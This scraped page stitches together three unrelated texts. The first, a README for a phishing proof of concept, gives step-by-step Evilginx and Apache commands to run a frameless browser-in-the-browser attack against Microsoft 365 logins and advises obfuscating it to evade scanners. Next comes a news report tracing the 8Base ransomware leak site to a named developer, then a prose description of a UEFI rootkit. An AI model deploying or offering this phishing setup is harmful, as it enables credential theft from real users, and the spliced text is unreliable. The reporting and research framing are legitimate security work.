Login
A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft.
This POC code is built for using this new BITB with Evilginx, and a Microsoft Enterprise phishlet.
Before diving deep into this, I recommend that you first check my talk at BSides 2023, where I first introduced this concept along with important details on how to craft the "perfect" phishing attack. ▶ Watch Video
This tool is for educational and research purposes only. It demonstrates a non-iframe based Browser In The Browser (BITB) method. The author is not responsible for any misuse. Use this tool only legally and ethically, in controlled environments for cybersecurity defense testing. By using this tool, you agree to do so responsibly and at your own risk.
Over the past year, I've been experimenting with different tricks to craft the "perfect" phishing attack. The typical "red flags" people are trained to look for are things like urgency, threats, authority, poor grammar, etc. The next best thing people nowadays check is the link/URL of the website they are interacting with, and they tend to get very conscious the moment they are asked to enter sensitive credentials like emails and passwords.
That's where Browser In The Browser (BITB) came into play. Originally introduced by @mrd0x, BITB is a concept of creating the appearance of a believable browser window inside of which the attacker controls the content (by serving the malicious website inside an iframe). However, the fake URL bar of the fake browser window is set to the legitimate site the user would expect. This combined with a tool like Evilginx becomes the perfect recipe for a believable phishing attack.
The problem is that over the past months/years, major websites like Microsoft implemented various little tricks called "framebusters/framekillers" which mainly attempt to break iframes that might be used to serve the proxied website like in the case of Evilginx.
In short, Evilginx + BITB for websites like Microsoft no longer works. At least not with a BITB that relies on iframes.
A Browser In The Browser (BITB) without any iframes! As simple as that.
Meaning that we can now use BITB with Evilginx on websites like Microsoft.
Evilginx here is just a strong example, but the same concept can be used for other use-cases as well.
Framebusters target iframes specifically, so the idea is to create the BITB effect without the use of iframes, and without disrupting the original structure/content of the proxied page. This can be achieved by injecting scripts and HTML besides the original content using search and replace (aka substitutions), then relying completely on HTML/CSS/JS tricks to make the visual effect. We also use an additional trick called "Shadow DOM" in HTML to place the content of the landing page (background) in such a way that it does not interfere with the proxied content, allowing us to flexibly use any landing page with minor additional JS scripts.
Create a local Linux VM. (I personally use Ubuntu 22 on VMWare Player or Parallels Desktop)
Update and Upgrade system packages:
FreshRSS 
sudo apt update && sudo apt upgrade -y
Create a new evilginx user, and add user to sudo group:
sudo su
adduser evilginx
usermod -aG sudo evilginx
Test that evilginx user is in sudo group:
su - evilginx
sudo ls -la /root
Navigate to users home dir:
cd /home/evilginx
(You can do everything as sudo user as well since we're running everything locally)
Download and build Evilginx: Official Docs
Copy Evilginx files to /home/evilginx
Install Go: Official Docs
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
ADD: export PATH=$PATH:/usr/local/go/bin
source ~/.profile
Check:
go version
Install make:
sudo apt install make
Build Evilginx:
cd /home/evilginx/evilginx2
make
Create a new directory for our evilginx build along with phishlets and redirectors:
mkdir /home/evilginx/evilginx
Copy build, phishlets, and redirectors:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
Ubuntu firewall quick fix (thanks to @kgretzky)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
On Ubuntu, if you get Failed to start nameserver on: :53 error, try modifying this file
sudo nano /etc/systemd/resolved.conf
edit/add the DNSStubListener to no > DNSStubListener=no
then
sudo systemctl restart systemd-resolved
Since we will be using Apache2 in front of Evilginx, we need to make Evilginx listen to a different port than 443.
nano ~/.evilginx/config.json
CHANGE https_port from 443 to 8443
Install Apache2:
sudo apt install apache2 -y
Enable Apache2 mods that will be used: (We are also disabling access_compat module as it sometimes causes issues)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Start and enable Apache:
sudo systemctl start apache2
sudo systemctl enable apache2
Try if Apache and VM networking works by visiting the VM's IP from a browser on the host machine.
Install git if not already available:
sudo apt -y install git
Clone this repo:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
Make directories for the pages we will be serving:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
Copy the directories for each page:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
Optional: Remove the default Apache page (not used):
sudo rm -r /var/www/html/
Copy the O365 phishlet to phishlets directory:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
Optional: To set the Calendly widget to use your account instead of the default I have inside, go to pages/primary/script.js and change the CALENDLY_PAGE_NAME and CALENDLY_EVENT_TYPE.
Note on Demo Obfuscation: As I explain in the walkthrough video, I included a minimal obfuscation for text content like URLs and titles of the BITB. You can open the demo obfuscator by opening demo-obfuscator.html in your browser. In a real-world scenario, I would highly recommend that you obfuscate larger chunks of the HTML code injected or use JS tricks to avoid being detected and flagged. The advanced version I am working on will use a combination of advanced tricks to make it nearly impossible for scanners to fingerprint/detect the BITB code, so stay tuned.
Since we are running everything locally, we need to generate self-signed SSL certificates that will be used by Apache. Evilginx will not need the certs as we will be running it in developer mode.
We will use the domain fake.com which will point to our local VM. If you want to use a different domain, make sure to change the domain in all files (Apache conf files, JS files, etc.)
Create dir and parents if they do not exist:
sudo mkdir -p /etc/ssl/localcerts/fake.com/
Generate the SSL certs using the OpenSSL config file:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
Modify private key permissions:
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
Copy custom substitution files (the core of our approach):
sudo cp -r ./custom-subs /etc/apache2/custom-subs
Important Note: In this repo I have included 2 substitution configs for Chrome on Mac and Chrome on Windows BITB. Both have auto-detection and styling for light/dark mode and they should act as base templates to achieve the same for other browser/OS combos. Since I did not include automatic detection of the browser/OS combo used to visit our phishing page, you will have to use one of two or implement your own logic for automatic switching.
Both config files under /apache-configs/ are the same, only with a different Include directive used for the substitution file that will be included. (there are 2 references for each file)
# Uncomment the one you want and remember to restart Apache after any changes:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
Simply to make it easier, I included both versions as separate files for this next step.
Windows/Chrome BITB:
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Mac/Chrome BITB:
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Test Apache configs to ensure there are no errors:
sudo apache2ctl configtest
Restart Apache to apply changes:
sudo systemctl restart apache2
Get the IP of the VM using ifconfig and note it somewhere for the next step.
We now need to add new entries to our hosts file, to point the domain used in this demo fake.com and all used subdomains to our VM on which Apache and Evilginx are running.
On Windows:
Open Notepad as Administrator (Search > Notepad > Right-Click > Run as Administrator)
Click on the File option (top-left) and in the File Explorer address bar, copy and paste the following:
C:\Windows\System32\drivers\etc\
Change the file types (bottom-right) to "All files".
Double-click the file named hosts
On Mac:
Open a terminal and run the following:
sudo nano /private/etc/hosts
Now modify the following records (replace [IP] with the IP of your VM) then paste the records at the end of the hosts file:
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section
Save and exit.
Now restart your browser before moving to the next step.
Note: On Mac, use the following command to flush the DNS cache:
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
This demo is made with the provided Office 365 Enterprise phishlet. To get the host entries you need to add for a different phishlet, use phishlet get-hosts [PHISHLET_NAME] but remember to replace the 127.0.0.1 with the actual local IP of your VM.
Since we are using self-signed SSL certificates, our browser will warn us every time we try to visit fake.com so we need to make our host machine trust the certificate authority that signed the SSL certs.
For this step, it's easier to follow the video instructions, but here is the gist anyway.
Open https://fake.com/ in your Chrome browser.
Ignore the Unsafe Site warning and proceed to the page.
Click the SSL icon > Details > Export Certificate IMPORTANT: When saving, the name MUST end with .crt for Windows to open it correctly.
Double-click it > install for current user. Do NOT select automatic, instead place the certificate in specific store: select "Trusted Route Certification Authorities".
On Mac: to install for current user only > select "Keychain: login" AND click on "View Certificates" > details > trust > Always trust
Now RESTART your Browser
You should be able to visit https://fake.com now and see the homepage without any SSL warnings.
At this point, everything should be ready so we can go ahead and start Evilginx, set up the phishlet, create our lure, and test it.
Optional: Install tmux (to keep evilginx running even if the terminal session is closed. Mainly useful when running on remote VM.)
sudo apt install tmux -y
Start Evilginx in developer mode (using tmux to avoid losing the session):
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(To re-attach to the tmux session use tmux attach-session -t evilginx)
Evilginx Config:
config domain fake.com
config ipv4 127.0.0.1
IMPORTANT: Set Evilginx Blacklist mode to NoAdd to avoid blacklisting Apache since all requests will be coming from Apache and not the actual visitor IP.
blacklist noadd
Setup Phishlet and Lure:
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
Copy the lure URL and visit it from your browser (use Guest user on Chrome to avoid having to delete all saved/cached data between tests).
Original iframe-based BITB by @mrd0x: https://github.com/mrd0x/BITB
Evilginx Mastery Course by the creator of Evilginx @kgretzky: https://academy.breakdev.org/evilginx-mastery
My talk at BSides 2023: https://www.youtube.com/watch?v=p1opa2wnRvg
How to protect Evilginx using Cloudflare and HTML Obfuscation: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
Evilginx resources for Microsoft 365 by @BakkerJan: https://janbakker.tech/evilginx-resources-for-microsoft-365/
The victim shaming website operated by the cybercriminals behind 8Base — currently one of the more active ransomware groups — was until earlier today leaking quite a bit of information that the crime group probably did not intend to be made public. The leaked data suggests that at least some of website’s code was written by a 36-year-old programmer residing in the capital city of Moldova.
The 8Base ransomware group’s victim shaming website on the darknet.
8Base maintains a darknet website that is only reachable via Tor, a freely available global anonymity network. The site lists hundreds of victim organizations and companies — all allegedly hacking victims that refused to pay a ransom to keep their stolen data from being published.
The 8Base darknet site also has a built-in chat feature, presumably so that 8Base victims can communicate and negotiate with their extortionists. This chat feature, which runs on the Laravel web application framework, works fine as long as you are *sending* information to the site (i.e., by making a “POST” request).
However, if one were to try to fetch data from the same chat service (i.e., by making a “GET” request), the website until quite recently generated an extremely verbose error message:
The verbose error message when one tries to pull data from 8Base’s darknet site. Notice the link at the bottom of this image, which is generated when one hovers over the “View commit” message under the “Git” heading.
That error page revealed the true Internet address of the Tor hidden service that houses the 8Base website: 95.216.51[.]74, which according to DomainTools.com is a server in Finland that is tied to the Germany-based hosting giant Hetzner.
But that’s not the interesting part: Scrolling down the lengthy error message, we can see a link to a private Gitlab server called Jcube-group: gitlab[.]com/jcube-group/clients/apex/8base-v2. Digging further into this Gitlab account, we can find some curious data points available in the JCube Group’s public code repository.
For example, this “status.php” page, which was committed to JCube Group’s Gitlab repository roughly one month ago, includes code that makes several mentions of the term “KYC” (e.g. KYC_UNVERIFIED, KYC_VERIFIED, and KYC_PENDING).
This is curious because a FAQ on the 8Base darknet site includes a section on “special offers for journalists and reporters,” which says the crime group is open to interviews but that journalists will need to prove their identity before any interview can take place. The 8base FAQ refers to this vetting process as “KYC,” which typically stands for “Know Your Customer.”
“We highly respect the work of journalists and consider information to be our priority,” the 8Base FAQ reads. “We have a special program for journalists which includes sharing information a few hours or even days before it is officially published on our news website and Telegram channel: you would need to go through a KYC procedure to apply. Journalists and reporters can contact us via our PR Telegram channel with any questions.”
The 8Base FAQ (left) and the KYC code in Kolev’s Gitlab account (right)
The 8Base darknet site also has a publicly accessible “admin” login page, which features an image of a commercial passenger plane parked at what appears to be an airport. Next to the airplane photo is a message that reads, “Welcome to 8Base. Admin Login to 8Base dashboard.”
The login page on the 8Base ransomware group’s darknet website.
Right-clicking on the 8Base admin page and selecting “View Source” produces the page’s HTML code. That code is virtually identical to a “login.blade.php” page that was authored and committed to JCube Group’s Gitlab repository roughly three weeks ago.
It appears the person responsible for the JCube Group’s code is a 36-year-old developer from Chisinau, Moldova named Andrei Kolev. Mr. Kolev’s LinkedIn page says he’s a full-stack developer at JCube Group, and that he’s currently looking for work. The homepage for Jcubegroup[.]com lists an address and phone number that Moldovan business records confirm is tied to Mr. Kolev.
The posts on the Twitter account for Mr. Kolev (@andrewkolev) are all written in Russian, and reference several now-defunct online businesses, including pluginspro[.]ru.
Reached for comment via LinkedIn, Mr. Kolev said he had no idea why the 8Base darknet site was pulling code from the “clients” directory of his private JCube Group Gitlab repository, or how the 8Base name was even included.
“I [don’t have] a clue, I don’t have that project in my repo,” Kolev explained. “They [aren’t] my clients. Actually we currently have just our own projects.”
Mr. Kolev shared a screenshot of his current projects, but very quickly after that deleted it. However, KrebsOnSecurity captured a copy of the image before it was removed:
A screenshot of Mr. Kolev’s current projects that he quickly deleted.
Within minutes of explaining why I was reaching out to Mr. Kolev and walking him through the process of finding this connection, the 8Base website was changed, and the error message that linked to the JCube Group private Gitlab repository no longer appeared. Instead, trying the same “GET” method described above caused the 8Base website to return a “405 Method Not Allowed” error page:
Mr. Kolev claimed he didn’t know anything about the now-removed error page on 8Base’s site that referenced his private Gitlab repo, and said he deleted the screenshot from our LinkedIn chat because it contained private information.
Ransomware groups are known to remotely hire developers for specific projects without disclosing exactly who they are or how the new hire’s code is intended to be used, and it is possible that one of Mr. Kolev’s clients is merely a front for 8Base. But despite 8Base’s statement that they are happy to correspond with journalists, KrebsOnSecurity is still waiting for a reply from the group via their Telegram channel.
The tip about the leaky 8Base website was provided by a reader who asked to remain anonymous. That reader, a legitimate security professional and researcher who goes by the handle @htmalgae on Twitter, said it is likely that whoever developed the 8Base website inadvertently left it in “development mode,” which is what caused the site to be so verbose with its error messages.
“If 8Base was running the app in production mode instead of development mode, this Tor de-anonymization would have never been possible,” @htmalgae said.
A recent blog post from VMware/Carbon Black called the 8Base ransomware group “a heavy hitter” that has remained relatively unknown despite the massive spike in activity in Summer of 2023.
“8Base is a Ransomware group that has been active since March 2022 with a significant spike in activity in June of 2023,” Carbon Black researchers wrote. “Describing themselves as ‘simple pen testers,’ their leak site provided victim details through Frequently Asked Questions and Rules sections as well as multiple ways to contact them. ”
According to VMware, what’s particularly interesting about 8Base’s communication style is the use of verbiage that is strikingly familiar to another known cybercriminal group: RansomHouse.
“The group utilizes encryption paired with ‘name-and-shame’ techniques to compel their victims to pay their ransoms,” VMware researchers wrote. “8Base has an opportunistic pattern of compromise with recent victims spanning across varied industries. Despite the high amount of compromises, the information regarding identities, methodology, and underlying motivation behind these incidents still remains a mystery.”
Update, Sept. 21, 10:43 a.m. ET: The author of Databreaches.net was lurking in the 8Base Telegram channel when I popped in to ask the crime group a question, and reports that 8Base did eventually reply: ““hi at the moment we r not doing interviews. we have nothing to say. we r a little busy.”
bootlicker is a legacy, extensible UEFI firmware rootkit targeting vmware hypervisor virtual machines. It is designed to achieve initial code execution within the context of the windows kernel, regardless of security settings configured.
bootlicker takes its design from the legacy CosmicStrain, MoonBounce, and ESPECTRE rootkits to achive arbitrary code excution without triggering patchguard or other related security mechanisms.
After initial insertion into a UEFI driver firmware using the the injection utility, the shellcodes EfiMain achieves execution as the host starts up, and inserts a hook into the UEFI firmware's ExitBootServices routine. The ExitBootServices routine will then, on execution, find the source caller of the function, and if it matches WinLoad.EFI, attempts to find the unexported winload.efi!OslArchTransferToKernel routine, which will allow us to att ack the booting kernel before it achieves its initial execution.
Once OslArchTransferToKernel executes, it will search for the ACPI.SYS driver, find the .rsrc PE section, and inject a small stager shellcode entrypoint called DrvMain to copy over a larger payload that will act as our kernel implant.
Entirely based upon d_olex / cr4sh's DmaBackdoorBoot
This code is apart of a larger project I've been working on that on / off in between burnout, like most of the concepts I've produced over the years under various aliases, will never see the light of day. Some of the code comments I've been to lazy to strip out that refer to unrelated functiaonlity, despite it being previously present. Do not expect this to work out of the box, some slight modifications are certainly necessary.
